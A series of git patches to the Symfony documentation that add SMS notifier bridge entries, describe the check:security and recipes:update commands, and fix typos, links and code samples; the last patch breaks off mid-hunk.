Date: Sun, 16 Jan 2022 14:15:20 +0100
Subject: [PATCH 1618/5766] [Notifier] Add OrangeSms bridge documentation

---
 notifier.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index ccb17f6fc81..85cffb07d6c 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -72,6 +72,7 @@ MessageMedia    ``symfony/message-media-notifier``    ``messagemedia://API_KEY:A
 Mobyt           ``symfony/mobyt-notifier``            ``mobyt://USER_KEY:ACCESS_TOKEN@default?from=FROM``
 Nexmo           ``symfony/nexmo-notifier``            ``nexmo://KEY:SECRET@default?from=FROM``
 Octopush        ``symfony/octopush-notifier``         ``octopush://USERLOGIN:APIKEY@default?from=FROM&type=TYPE``
+OrangeSms       ``symfony/orange-sms-notifier``       ``orange-sms://CLIENT_ID:CLIENT_SECRET@default?from=FROM&sender_name=SENDER_NAME``
 OvhCloud        ``symfony/ovh-cloud-notifier``        ``ovhcloud://APPLICATION_KEY:APPLICATION_SECRET@default?consumer_key=CONSUMER_KEY&service_name=SERVICE_NAME``
 Sendinblue      ``symfony/sendinblue-notifier``       ``sendinblue://API_KEY@default?sender=PHONE``
 Sms77           ``symfony/sms77-notifier``            ``sms77://API_KEY@default?from=FROM``
@@ -89,7 +90,7 @@ Yunpian         ``symfony/yunpian-notifier``          ``yunpian://APIKEY@default
 
 .. versionadded:: 6.1
 
-    The 46elks integration was introduced in Symfony 6.1.
+    The 46elks and OrangeSms integrations were introduced in Symfony 6.1.
 
 To enable a texter, add the correct DSN in your ``.env`` file and
 configure the ``texter_transports``:

From b14089516789a4663d00c9b5249ab47f72446100 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 18 Jan 2022 12:42:20 +0100
Subject: [PATCH 1619/5766] Revert changes related to check:security command

---
 setup.rst | 25 +++++++++++++++++--------
 1 file changed, 17 insertions(+), 8 deletions(-)

diff --git a/setup.rst b/setup.rst
index 4522720352b..b1462779c58 100644
--- a/setup.rst
+++ b/setup.rst
@@ -224,21 +224,30 @@ require --no-unpack ...`` option to disable unpacking.
 Checking Security Vulnerabilities
 ---------------------------------
 
-A good and recommended security practice is to check from time to time whether your
-project's dependencies contain any known security vulnerabilities. You can leverage the
-`Local PHP Security Checker`_ to do so.
+The ``symfony`` binary created when you `install Symfony CLI`_ provides a command
+to check whether your project's dependencies contain any known security
+vulnerability:
 
-You can also execute this process regularly to be able to
+.. code-block:: terminal
+
+    $ symfony check:security
+
+A good security practice is to execute this command regularly to be able to
 update or replace compromised dependencies as soon as possible. The security
 check is done locally by fetching the public `PHP security advisories database`_,
 so your ``composer.lock`` file is not sent on the network.
 
+The ``check:security`` command terminates with a non-zero exit code if any of
+your dependencies is affected by a known security vulnerability. This way you
+can add it to your project build process and your continuous integration
+workflows to make them fail when there are vulnerabilities.
+
 .. tip::
 
-    The ``check:security`` command terminates with a non-zero exit code if
-    any of your dependencies is affected by a known security vulnerability.
-    This way you can add it to your project build process and your continuous
-    integration workflows to make them fail when there are vulnerabilities.
+    In continuous integration services you can check security vulnerabilities
+    using a different stand-alone project called `Local PHP Security Checker`_.
+    This is the same project used internally by ``check:security`` but much
+    smaller in size than the entire Symfony CLI.
 
 Symfony LTS Versions
 --------------------

From 0171f928480a51fc0fcbd35e31fabb844ce90019 Mon Sep 17 00:00:00 2001
From: Egor Taranov <dev@taranovegor.com>
Date: Tue, 9 Nov 2021 16:51:06 +0200
Subject: [PATCH 1620/5766] [Notifier] [Bridge] [KazInfoTeh] added bridge
 documentation

---
 notifier.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index 85cffb07d6c..0106094892f 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -65,6 +65,7 @@ FreeMobile      ``symfony/free-mobile-notifier``      ``freemobile://LOGIN:PASSW
 GatewayApi      ``symfony/gatewayapi-notifier``       ``gatewayapi://TOKEN@default?from=FROM``
 Infobip         ``symfony/infobip-notifier``          ``infobip://AUTH_TOKEN@HOST?from=FROM``
 Iqsms           ``symfony/iqsms-notifier``            ``iqsms://LOGIN:PASSWORD@default?from=FROM``
+KazInfoTeh      ``symfony/kaz-info-teh-notifier``     ``kaz-info-teh://USERNAME:PASSWORD@default?sender=FROM``
 LightSms        ``symfony/light-sms-notifier``        ``lightsms://LOGIN:TOKEN@default?from=PHONE``
 Mailjet         ``symfony/mailjet-notifier``          ``mailjet://TOKEN@default?from=FROM``
 MessageBird     ``symfony/message-bird-notifier``     ``messagebird://TOKEN@default?from=FROM``
@@ -90,7 +91,7 @@ Yunpian         ``symfony/yunpian-notifier``          ``yunpian://APIKEY@default
 
 .. versionadded:: 6.1
 
-    The 46elks and OrangeSms integrations were introduced in Symfony 6.1.
+    The 46elks, OrangeSms and KazInfoTeh integrations were introduced in Symfony 6.1.
 
 To enable a texter, add the correct DSN in your ``.env`` file and
 configure the ``texter_transports``:

From 7634581b9b1b15eb8c6a0340021ae0add7b9a900 Mon Sep 17 00:00:00 2001
From: Igor <31731246+fzsys@users.noreply.github.com>
Date: Wed, 19 Jan 2022 09:37:57 +0200
Subject: [PATCH 1621/5766] php.net callback documentation link changed

---
 create_framework/templating.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/create_framework/templating.rst b/create_framework/templating.rst
index 972f2a1f982..6fca67d84a1 100644
--- a/create_framework/templating.rst
+++ b/create_framework/templating.rst
@@ -178,5 +178,5 @@ As always, you can decide to stop here and use the framework as is; it's
 probably all you need to create simple websites like those fancy one-page
 `websites`_ and hopefully a few others.
 
-.. _`callbacks`: https://www.php.net/callback#language.types.callback
+.. _`callbacks`: https://www.php.net/manual/en/language.types.callable.php
 .. _`websites`: https://kottke.org/08/02/single-serving-sites

From 11d87ad0540ac23e64a79d6769dae3d170a30bc7 Mon Sep 17 00:00:00 2001
From: Ryan Weaver <ryan@thatsquality.com>
Date: Fri, 17 Dec 2021 12:49:59 -0500
Subject: [PATCH 1622/5766] Adding details about new recipes:update command

---
 .doctor-rst.yaml              |  2 +-
 performance.rst               |  5 ++++-
 setup/_update_recipes.rst.inc | 29 ++++++++++++-----------------
 3 files changed, 17 insertions(+), 19 deletions(-)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index 0e72bb4f3e2..6ef4959d8f9 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -88,7 +88,7 @@ whitelist:
         - '.. versionadded:: 1.11' # MakerBundle
         - '.. versionadded:: 1.3' # MakerBundle
         - '.. versionadded:: 1.8' # MakerBundle
-        - '.. versionadded:: 1.6' # Flex in setup/upgrade_minor.rst
+        - '.. versionadded:: 1.18' # Flex in setup/upgrade_minor.rst
         - '0 => 123' # assertion for var_dumper - components/var_dumper.rst
         - '1 => "foo"' # assertion for var_dumper - components/var_dumper.rst
         - '$var .= "Because of this `\xE9` octet (\\xE9),\n";'
diff --git a/performance.rst b/performance.rst
index 5c1992dc134..0753861a9ca 100644
--- a/performance.rst
+++ b/performance.rst
@@ -115,10 +115,13 @@ You can configure PHP to use this preload file:
 
     ; php.ini
     opcache.preload=/path/to/project/config/preload.php
-    
+
     ; required for opcache.preload:
     opcache.preload_user=www-data
 
+If this file is missing, run this command to update the Symfony Flex recipe:
+``composer recipes:update symfony/framework-bundle``.
+
 .. _performance-configure-opcache:
 
 Configure OPcache for Maximum Performance
diff --git a/setup/_update_recipes.rst.inc b/setup/_update_recipes.rst.inc
index da963380ce1..98dff8ddcb8 100644
--- a/setup/_update_recipes.rst.inc
+++ b/setup/_update_recipes.rst.inc
@@ -9,30 +9,25 @@ it's a good idea to keep your files in sync with the recipes.
 Symfony Flex provides several commands to help upgrade your recipes. Be sure to
 commit any unrelated changes you're working on before starting:
 
-.. versionadded:: 1.6
+.. versionadded:: 1.18
 
-    The recipes commands were introduced in Symfony Flex 1.6.
+    The ``recipes:update`` command was introduced in Symfony Flex 1.18.
 
 .. code-block:: terminal
 
+    # choose an outdated recipe to update
+    $ composer recipes:update
+
+    # update a specific recipe
+    $ composer recipes:update symfony/framework-bundle
+
     # see a list of all installed recipes and which have updates available
     $ composer recipes
 
     # see detailed information about a specific recipes
     $ composer recipes symfony/framework-bundle
 
-    # update a specific recipes
-    $ composer recipes:install symfony/framework-bundle --force -v
-
-The tricky part of this process is that the recipe "update" does not perform
-any intelligent "upgrading" of your code. Instead, **the updates process re-installs
-the latest version of the recipe** which means that **your custom code will be
-overridden completely**. After updating a recipe, you need to carefully choose
-which changes you want, and undo the rest.
-
-.. admonition:: Screencast
-    :class: screencast
-
-    For a detailed example, see the `SymfonyCasts Symfony 5 Upgrade Tutorial`_.
-
-.. _`SymfonyCasts Symfony 5 Upgrade Tutorial`: https://symfonycasts.com/screencast/symfony5-upgrade
+The ``recipes:update`` command is smart: it looks at the difference between the
+recipe when you installed it and the latest version. It then creates a patch and
+applies it to your app. If there are any conflicts, you can resolve them like a
+normal ``git`` conflict and commit like normal.

From c53d770b61aac6e62e7915ddfe7b58a0fb41b7c8 Mon Sep 17 00:00:00 2001
From: Mert Simsek <mertsmsk0@gmail.com>
Date: Sat, 15 Jan 2022 03:20:42 +0300
Subject: [PATCH 1623/5766] Update configuration.rst to aviod misunderstanding

We shouldn't deploy the ".env.local" file for the production environment variables. We just need to add the ".env" file into Git and manually create a new ".env.local" file on the production machine. In the old expression says, "deploying" and it might be a misunderstanding in this way. I changed it to "creating".

Old expression:
In production, the ``.env`` files are also parsed and loaded on each request. So
the easiest way to define env vars is by deploying a ``.env.local`` file to your
production server(s) with your production values.
---
 configuration.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/configuration.rst b/configuration.rst
index 80f93e2025e..f76a2aa09aa 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -688,7 +688,7 @@ Configuring Environment Variables in Production
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 In production, the ``.env`` files are also parsed and loaded on each request. So
-the easiest way to define env vars is by deploying a ``.env.local`` file to your
+the easiest way to define env vars is by creating a ``.env.local`` file on your
 production server(s) with your production values.
 
 To improve performance, you can optionally run the ``dump-env`` command (available

From 70690757bcf51a3bf0c9e764fd5d69225a4a361b Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Wed, 19 Jan 2022 17:14:26 +0100
Subject: [PATCH 1624/5766] [#15990] Minor changes

---
 messenger.rst | 32 +++++++++++++++++++++++---------
 1 file changed, 23 insertions(+), 9 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index 7e8d1aa640f..2d40e64c6c3 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -50,11 +50,15 @@ serialized::
 
 .. _messenger-handler:
 
+.. versionadded:: 5.4
+
+    The ``#[AsMessageHandler]`` PHP attribute was introduced in Symfony
+    5.4. PHP attributes require at least PHP 8.0.
+
 A message handler is a PHP callable, the recommended way to create it is to
-create a class using :class:`Symfony\\Component\\Messenger\\Attribute\\AsMessageHandler`
-attribute which has an ``__invoke()`` method that's type-hinted with the
-message class (or a message interface) or you can create a class without the attribute, by implementing
-:class:`Symfony\\Component\\Messenger\\Handler\\MessageHandlerInterface`::
+create a class that has the :class:`Symfony\\Component\\Messenger\\Attribute\\AsMessageHandler`
+attribute and has an ``__invoke()`` method that's type-hinted with the
+message class (or a message interface)::
 
     // src/MessageHandler/SmsNotificationHandler.php
     namespace App\MessageHandler;
@@ -71,6 +75,12 @@ message class (or a message interface) or you can create a class without the att
         }
     }
 
+.. note::
+
+    You can also create a class without the attribute (e.g. if you're
+    using PHP 7.4), by implementing :class:`Symfony\\Component\\Messenger\\Handler\\MessageHandlerInterface`
+    instead.
+
 Thanks to :ref:`autoconfiguration <services-autoconfigure>` and the ``SmsNotification``
 type-hint, Symfony knows that this handler should be called when an ``SmsNotification``
 message is dispatched. Most of the time, this is all you need to do. But you can
@@ -1770,12 +1780,15 @@ on a case-by-case basis via the :class:`Symfony\\Component\\Messenger\\Stamp\\Se
 Customizing Handlers
 --------------------
 
-.. _messenger-handler-config:
+Configuring Handlers Using Attributes
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+.. versionadded:: 5.4
 
-Configuring Handlers Using Attribute
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+    The ``#[AsMessageHandler]`` PHP attribute was introduced in Symfony
+    5.4. PHP attributes require at least PHP 8.0.
 
-You can configure your handler easily by passing options to the attribute::
+You can configure your handler by passing options to the attribute::
 
     // src/MessageHandler/SmsNotificationHandler.php
     namespace App\MessageHandler;
@@ -1793,7 +1806,6 @@ You can configure your handler easily by passing options to the attribute::
         }
     }
 
-
 Possible options to configure with the attribute are:
 
 * ``bus``
@@ -1802,6 +1814,8 @@ Possible options to configure with the attribute are:
 * ``method``
 * ``priority``
 
+.. _messenger-handler-config:
+
 Manually Configuring Handlers
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From 2e723657b5207fc1f6a8193f3084a745c12af417 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Wed, 19 Jan 2022 17:28:00 +0100
Subject: [PATCH 1625/5766] Removed 5.4 versionadded

---
 messenger.rst | 10 ----------
 1 file changed, 10 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index e7f92e5ef8e..bca41791b04 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -50,11 +50,6 @@ serialized::
 
 .. _messenger-handler:
 
-.. versionadded:: 5.4
-
-    The ``#[AsMessageHandler]`` PHP attribute was introduced in Symfony
-    5.4. PHP attributes require at least PHP 8.0.
-
 A message handler is a PHP callable, the recommended way to create it is to
 create a class that has the :class:`Symfony\\Component\\Messenger\\Attribute\\AsMessageHandler`
 attribute and has an ``__invoke()`` method that's type-hinted with the
@@ -1689,11 +1684,6 @@ Customizing Handlers
 Configuring Handlers Using Attributes
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-.. versionadded:: 5.4
-
-    The ``#[AsMessageHandler]`` PHP attribute was introduced in Symfony
-    5.4. PHP attributes require at least PHP 8.0.
-
 You can configure your handler by passing options to the attribute::
 
     // src/MessageHandler/SmsNotificationHandler.php

From 7cba7df261287fe8b070108336a1988562c6f54e Mon Sep 17 00:00:00 2001
From: OrangeVinz <orangevinz@gmail.com>
Date: Wed, 19 Jan 2022 22:48:02 +0100
Subject: [PATCH 1626/5766] Update login_link.rst

---
 security/login_link.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security/login_link.rst b/security/login_link.rst
index 045c9a7963f..137fe734330 100644
--- a/security/login_link.rst
+++ b/security/login_link.rst
@@ -693,7 +693,7 @@ success handler behaves, create your own handler as a class that implements
             $user = $token->getUser();
             $userApiToken = $user->getApiToken();
 
-            return new JsonResponse(['apiToken' => 'userApiToken']);
+            return new JsonResponse(['apiToken' => $userApiToken]);
         }
     }
 

From 683a6712aa8b3134a5ed035fa7015bd2ee0f0e39 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Thu, 20 Jan 2022 20:29:27 +0100
Subject: [PATCH 1627/5766] Moving RexExp search to its own heading

I wanted to create a heading ("Search Using a Regular Expression") for this. Is `~~~~` the lowest level already? If yes, I'd suggest to drop the "Method Reference" heading, and promote all included "Methods to..." headings one level.
---
 components/string.rst | 20 ++++++++++++++++----
 1 file changed, 16 insertions(+), 4 deletions(-)

diff --git a/components/string.rst b/components/string.rst
index f754bfdb7ea..3fc50077094 100644
--- a/components/string.rst
+++ b/components/string.rst
@@ -318,10 +318,6 @@ Methods to Search and Replace
     // checks if the string contents are exactly the same as the given contents
     u('foo')->equalsTo('foo'); // true
 
-    // checks if the string content match the given regular expression
-    u('avatar-73647.png')->match('/avatar-(\d+)\.png/');
-    // result = ['avatar-73647.png', '73647']
-
     // checks if the string contains any of the other given strings
     u('aeiou')->containsAny('a');                 // true
     u('aeiou')->containsAny(['ab', 'efg']);       // false
@@ -358,6 +354,22 @@ Methods to Search and Replace
 
     The ``containsAny()`` method was introduced in Symfony 5.1.
 
+::
+
+You can use ``match()`` to search with a Regular Expression::
+
+    u('avatar-73647.png')->match('/avatar-(\d+)\.png/');
+    // result = ['avatar-73647.png', '73647']
+
+By default, PHP's ``preg_match()`` is used, and you can pass search flags as second argument::
+
+    $string->match('/(a)(b)/', \PREG_UNMATCHED_AS_NULL);
+
+When passing ``\PREG_PATTERN_ORDER`` or ``\PREG_SET_ORDER``, PHP's ``preg_match_all()`` is used.
+Multiple flags can be set with the `|` operator::
+
+    $string->match('/(a)(b)/', \PREG_PATTERN_ORDER|\PREG_UNMATCHED_AS_NULL);
+
 Methods to Join, Split, Truncate and Reverse
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From c6664592de1781a9098f612306109ffff2a5059c Mon Sep 17 00:00:00 2001
From: Jordi Boggiano <j.boggiano@seld.be>
Date: Thu, 20 Jan 2022 12:31:38 +0100
Subject: [PATCH 1628/5766] Add return types in docs to avoid generating more
 legacy code

---
 controller/argument_value_resolver.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/controller/argument_value_resolver.rst b/controller/argument_value_resolver.rst
index 90763c591c0..1dc0833bb53 100644
--- a/controller/argument_value_resolver.rst
+++ b/controller/argument_value_resolver.rst
@@ -170,7 +170,7 @@ retrieved from the token storage::
             $this->security = $security;
         }
 
-        public function supports(Request $request, ArgumentMetadata $argument)
+        public function supports(Request $request, ArgumentMetadata $argument): bool
         {
             if (User::class !== $argument->getType()) {
                 return false;
@@ -179,7 +179,7 @@ retrieved from the token storage::
             return $this->security->getUser() instanceof User;
         }
 
-        public function resolve(Request $request, ArgumentMetadata $argument)
+        public function resolve(Request $request, ArgumentMetadata $argument): iterable
         {
             yield $this->security->getUser();
         }

From 418426a3d8e818ac95a38ceeb49abeadb5ba35d4 Mon Sep 17 00:00:00 2001
From: andyexeter <palmer.andy@gmail.com>
Date: Fri, 21 Jan 2022 09:57:53 +0000
Subject: [PATCH 1629/5766] Capitalise From and Bcc header names in global
 mailer configuration

---
 mailer.rst | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index 081a88dea24..7899f449f3b 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -535,8 +535,8 @@ and headers.
                     sender: 'fabien@example.com'
                     recipients: ['foo@example.com', 'bar@example.com']
                 headers:
-                    from: 'Fabien <fabien@example.com>'
-                    bcc: 'baz@example.com'
+                    From: 'Fabien <fabien@example.com>'
+                    Bcc: 'baz@example.com'
                     X-Custom-Header: 'foobar'
 
     .. code-block:: xml
@@ -558,8 +558,8 @@ and headers.
                         <framework:recipients>foo@example.com</framework:recipients>
                         <framework:recipients>bar@example.com</framework:recipients>
                     </framework:envelope>
-                    <framework:header name="from">Fabien &lt;fabien@example.com&gt;</framework:header>
-                    <framework:header name="bcc">baz@example.com</framework:header>
+                    <framework:header name="From">Fabien &lt;fabien@example.com&gt;</framework:header>
+                    <framework:header name="Bcc">baz@example.com</framework:header>
                     <framework:header name="X-Custom-Header">foobar</framework:header>
                 </framework:mailer>
             </framework:config>
@@ -578,8 +578,8 @@ and headers.
                     ->recipients(['foo@example.com', 'bar@example.com'])
             ;
 
-            $mailer->header('from')->value('Fabien <fabien@example.com>');
-            $mailer->header('bcc')->value('baz@example.com');
+            $mailer->header('From')->value('Fabien <fabien@example.com>');
+            $mailer->header('Bcc')->value('baz@example.com');
             $mailer->header('X-Custom-Header')->value('foobar');
         };
 

From f913d0477a650e9a3ae53544fcca0a4451b0eaf8 Mon Sep 17 00:00:00 2001
From: Mathieu Santostefano <msantostefano@protonmail.com>
Date: Sun, 23 Jan 2022 12:35:24 +0100
Subject: [PATCH 1630/5766] Add inputmode doc for NumberType

---
 reference/forms/types/number.rst | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/reference/forms/types/number.rst b/reference/forms/types/number.rst
index eda9189f7e3..f953c147dab 100644
--- a/reference/forms/types/number.rst
+++ b/reference/forms/types/number.rst
@@ -58,6 +58,13 @@ to ``2``, a submitted value of ``20.123`` will be rounded to, for example,
 
 .. include:: /reference/forms/types/options/rounding_mode.rst.inc
 
+If set to ``0`` with ``html5`` set to ``false``, the HTML input will be rendered with ``inputmode=numeric``.
+However, if set to any value greater than ``0``, with ``html5`` set to ``false``, the HTML input will be rendered with ``inputmode=decimal``.
+
+Learn more about the ``inputmode`` attribute on `MDN website`_.
+
+.. include:: https://developer.mozilla.org/fr/docs/Web/HTML/Global_attributes/inputmode
+
 Overridden Options
 ------------------
 

From ba95e8ccdb594cbe076ea877b8e04e4ba920b3fd Mon Sep 17 00:00:00 2001
From: Maksim Tiugaev <tugmaks@yandex.ru>
Date: Mon, 24 Jan 2022 10:19:19 +0300
Subject: [PATCH 1631/5766] Fix typo in amqp messenger

---
 messenger.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index 48b0bf483da..24e6768bcb4 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1125,8 +1125,8 @@ The transport has a number of options:
 ============================================  =================================================  ===================================
      Option                                   Description                                        Default
 ============================================  =================================================  ===================================
-``auto_setup``                                Whether the table should be created                ``true``
-                                              automatically during send / get.
+``auto_setup``                                Whether the exchanges and queues should be         ``true``
+                                              created automatically during send / get.
 ``cacert``                                    Path to the CA cert file in PEM format.
 ``cert``                                      Path to the client certificate in PEM format.
 ``channel_max``                               Specifies highest channel number that the server

From 0e0265ee3168e16a6fb95cb8d06a22cdbea714aa Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 24 Jan 2022 13:47:03 +0100
Subject: [PATCH 1632/5766] Reword

---
 reference/forms/types/number.rst | 12 ++++++++----
 1 file changed, 8 insertions(+), 4 deletions(-)

diff --git a/reference/forms/types/number.rst b/reference/forms/types/number.rst
index f953c147dab..7fc8c1b00e8 100644
--- a/reference/forms/types/number.rst
+++ b/reference/forms/types/number.rst
@@ -58,12 +58,14 @@ to ``2``, a submitted value of ``20.123`` will be rounded to, for example,
 
 .. include:: /reference/forms/types/options/rounding_mode.rst.inc
 
-If set to ``0`` with ``html5`` set to ``false``, the HTML input will be rendered with ``inputmode=numeric``.
-However, if set to any value greater than ``0``, with ``html5`` set to ``false``, the HTML input will be rendered with ``inputmode=decimal``.
+When the ``html5`` option is set to ``false``, the ``<input>`` element will
+include an `inputmode HTML attribute`_ which depends on the value of this option.
+If the ``scale`` value is ``0``, ``inputmode`` will be ``numeric``; if ``scale``
+is set to any value greater than ``0``, ``inputmode`` will be ``decimal``.
 
-Learn more about the ``inputmode`` attribute on `MDN website`_.
+.. versionadded:: 6.1
 
-.. include:: https://developer.mozilla.org/fr/docs/Web/HTML/Global_attributes/inputmode
+   The automatic addition of the ``inputmode`` attribute was introduced in Symfony 6.1.
 
 Overridden Options
 ------------------
@@ -112,3 +114,5 @@ The default value is ``''`` (the empty string).
 .. include:: /reference/forms/types/options/required.rst.inc
 
 .. include:: /reference/forms/types/options/row_attr.rst.inc
+
+.. _`inputmode HTML attribute`: https://developer.mozilla.org/en-US/docs/Web/HTML/Global_attributes/inputmode

From 83e0b196d4568be54e56410ee021b2fd3d3c00e3 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Tue, 25 Jan 2022 13:19:16 +0100
Subject: [PATCH 1633/5766] Cleanup left over 5.x mentions

---
 security/remember_me.rst | 11 -----------
 1 file changed, 11 deletions(-)

diff --git a/security/remember_me.rst b/security/remember_me.rst
index 54bd5c58c81..780f67f8070 100644
--- a/security/remember_me.rst
+++ b/security/remember_me.rst
@@ -279,11 +279,6 @@ Persistent tokens
     You can then configure this custom handler by configuring the service
     ID in the ``service`` option under ``remember_me``.
 
-    .. versionadded:: 5.1
-
-        The ``service`` option was introduced in Symfony 5.1.
-
-
 .. _security-remember-me-signature:
 
 Using Signed Remember Me Tokens
@@ -580,10 +575,6 @@ users to change their password. You can do this by leveraging a few special
     There is also a ``IS_REMEMBERED`` attribute that grants access *only*
     when the user is authenticated via the remember me mechanism.
 
-.. versionadded:: 5.1
-
-    The ``IS_REMEMBERED`` attribute was introduced in Symfony 5.1.
-
 Customizing the Remember Me Cookie
 ----------------------------------
 
@@ -622,5 +613,3 @@ cookie created by the system:
 ``samesite`` (default value: ``null``)
     If set to ``strict``, the cookie associated with this feature will not
     be sent along with cross-site requests, even when following a regular link.
-
-.. _`5.2 version of this documentation`: https://symfony.com/doc/5.2/security/remember_me.html

From 81b69ee718a1e36a34488060002dbfa783e4ef8d Mon Sep 17 00:00:00 2001
From: ghertko <60232049+ghertko@users.noreply.github.com>
Date: Fri, 21 Jan 2022 13:34:49 +0100
Subject: [PATCH 1634/5766] call `fetchAllAssociative` for a result set

`fetchAllAssociative()` is not available for class "Doctrine\DBAL\Statement"
---
 doctrine.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/doctrine.rst b/doctrine.rst
index c29fa8a827f..0112eb5428e 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -853,10 +853,10 @@ In addition, you can query directly with SQL if you need to::
                 ORDER BY p.price ASC
                 ';
             $stmt = $conn->prepare($sql);
-            $stmt->execute(['price' => $price]);
+            $resultSet = $stmt->executeQuery(['price' => $price]);
 
             // returns an array of arrays (i.e. a raw data set)
-            return $stmt->fetchAllAssociative();
+            return $resultSet->fetchAllAssociative();
         }
     }
 

From 7df77731b938983eb56ae6e01447921c632cdedf Mon Sep 17 00:00:00 2001
From: Timo Bakx <timobakx@gmail.com>
Date: Tue, 25 Jan 2022 00:10:53 +0100
Subject: [PATCH 1635/5766] Fixed email link issue

Formatting (bold) breaks the mailto-link when used without spacing.
---
 contributing/code_of_conduct/care_team.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/contributing/code_of_conduct/care_team.rst b/contributing/code_of_conduct/care_team.rst
index d740fcfbba4..8c09a2b936f 100644
--- a/contributing/code_of_conduct/care_team.rst
+++ b/contributing/code_of_conduct/care_team.rst
@@ -21,7 +21,7 @@ Members
 
 Here are all the members of the CARE team (in alphabetic order). You can contact
 any of them directly using the contact details below or you can also contact all
-of them at once by emailing **care@symfony.com**:
+of them at once by emailing ** care@symfony.com **.
 
 * **Timo Bakx**
 

From bb9dbe31ab1664b73b228071cc59189342ac6a00 Mon Sep 17 00:00:00 2001
From: Florent Morselli <florent@morselli.fr>
Date: Sun, 23 Jan 2022 12:36:33 +0100
Subject: [PATCH 1636/5766] Typo

There was a typo where the option `--domain` is in fact `--domains`
---
 translation.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/translation.rst b/translation.rst
index 2d9a66f1c35..3e726e50437 100644
--- a/translation.rst
+++ b/translation.rst
@@ -750,12 +750,12 @@ now use the following commands to push (upload) and pull (download) translations
     # push new local translations to the Loco provider for the French locale
     # and the validators domain.
     # it will **not** update existing translations already on the provider.
-    $ php bin/console translation:push loco --locales fr --domain validators
+    $ php bin/console translation:push loco --locales fr --domains validators
 
     # push new local translations and delete provider's translations that not
     # exists anymore in local files for the French locale and the validators domain.
     # it will **not** update existing translations already on the provider.
-    $ php bin/console translation:push loco --delete-missing --locales fr --domain validators
+    $ php bin/console translation:push loco --delete-missing --locales fr --domains validators
 
     # check out the command help to see its options (format, domains, locales, etc.)
     $ php bin/console translation:push --help
@@ -770,7 +770,7 @@ now use the following commands to push (upload) and pull (download) translations
     # pull new translations from the Loco provider to local files for the French
     # locale and the validators domain.
     # it will **not** overwrite your local files, only add new translations.
-    $ php bin/console translation:pull loco --locales fr --domain validators
+    $ php bin/console translation:pull loco --locales fr --domains validators
 
     # check out the command help to see its options (format, domains, locales, intl-icu, etc.)
     $ php bin/console translation:pull --help

From 7e3106bb58748871902a660c68b8da2b96efa982 Mon Sep 17 00:00:00 2001
From: issamkhadiri1989 <khadiri.issam@gmail.com>
Date: Mon, 24 Jan 2022 23:08:10 +0100
Subject: [PATCH 1637/5766] Update extension.rst

when using  `DependencyInjection\Extension\Extension`, the `addAnnotatedClassesToCompile` is not available. so it should be mentionned that we need to use `HttpKernel\DependencyInjection\Extension` instead when the method `addAnnotatedClassesToCompile`  must be used
---
 bundles/extension.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/bundles/extension.rst b/bundles/extension.rst
index edbcb5cd270..bbbfd398018 100644
--- a/bundles/extension.rst
+++ b/bundles/extension.rst
@@ -34,7 +34,7 @@ This is how the extension of an AcmeHelloBundle should look like::
     namespace Acme\HelloBundle\DependencyInjection;
 
     use Symfony\Component\DependencyInjection\ContainerBuilder;
-    use Symfony\Component\DependencyInjection\Extension\Extension;
+    use Symfony\Component\HttpKernel\DependencyInjection\Extension;
 
     class AcmeHelloExtension extends Extension
     {

From a76494f95036cbdc96507f1f6c566072b99e8bc2 Mon Sep 17 00:00:00 2001
From: Igor <31731246+fzsys@users.noreply.github.com>
Date: Fri, 21 Jan 2022 09:32:56 +0200
Subject: [PATCH 1638/5766] Update unit_testing.rst

---
 create_framework/unit_testing.rst | 9 +++++++--
 1 file changed, 7 insertions(+), 2 deletions(-)

diff --git a/create_framework/unit_testing.rst b/create_framework/unit_testing.rst
index b71eea34f50..c3801481a3f 100644
--- a/create_framework/unit_testing.rst
+++ b/create_framework/unit_testing.rst
@@ -8,8 +8,13 @@ on it will exhibit the same bugs. The good news is that whenever you fix a
